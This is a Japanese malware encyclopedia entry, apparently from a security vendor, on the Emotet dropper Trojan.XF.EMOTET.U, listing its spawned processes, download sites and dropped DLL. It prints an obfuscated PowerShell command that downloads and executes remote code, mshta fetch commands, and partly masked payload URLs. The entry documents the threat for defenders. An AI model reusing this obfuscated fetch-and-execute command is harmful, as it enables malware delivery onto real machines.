Trojan.XF.EMOTET.U

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のプロセスを追加します。

• CMD.EXE /c mshta http://{BLOCKED}.{BLOCKED}.118.172/gg/ff/fe.html
• mshta http://{BLOCKED}.{BLOCKED}.118.172/gg/ff/fe.html
• "%System%\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://{BLOCKED}.{BLOCKED}.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
• cmd /c C:\Windows\SysWow64\rundll32.exe 'C:\ProgramData\JooSee.dll',ssAAqq

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}eling.com/wp-admin/4XsjtOT7cFHvBV3HZ/
• http://jurnalpjf.{BLOCKED}n.go.id/assets/iM/
• http://{BLOCKED}o.biz/bitrix/xoDdDe/
• http://{BLOCKED}rayenovin.ir/wp-admin/G1pYGL/
• http://{BLOCKED}ngfilm.com/wp-content/pcMVUYDQ3q/
• http://daisy.{BLOCKED}u-secure.com/8plks/v8lyZTe/
• https://{BLOCKED}ty-eg.com/mlzkir/97v/
• http://{BLOCKED}aytuxtla.com/sitio/DgktL3zd/
• http://{BLOCKED}eloper.com/okw9yx/Gc28ZX/
• http://www.{BLOCKED}r.com/elenctic/fMFtRrbsEX1gXu3Z1M/
• http://{BLOCKED}training.sytes.net/libraries/8s/
• https://{BLOCKED}tasorichina.com/wp-content/GG01c/

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• C:\ProgramData\JooSee.dll

その他

マルウェアは、以下を実行します。

• 以下のURLに接続し、リモートでコードを実行します。
  • http://{BLOCKED}.{BLOCKED}.118.172/gg/ff/fe.html
  • http://{BLOCKED}.{BLOCKED}.118.172/gg/ff/fe.png
• この文書には、マクロコンテンツを有効にするようユーザを誘導する、以下のようなメッセージが含まれています。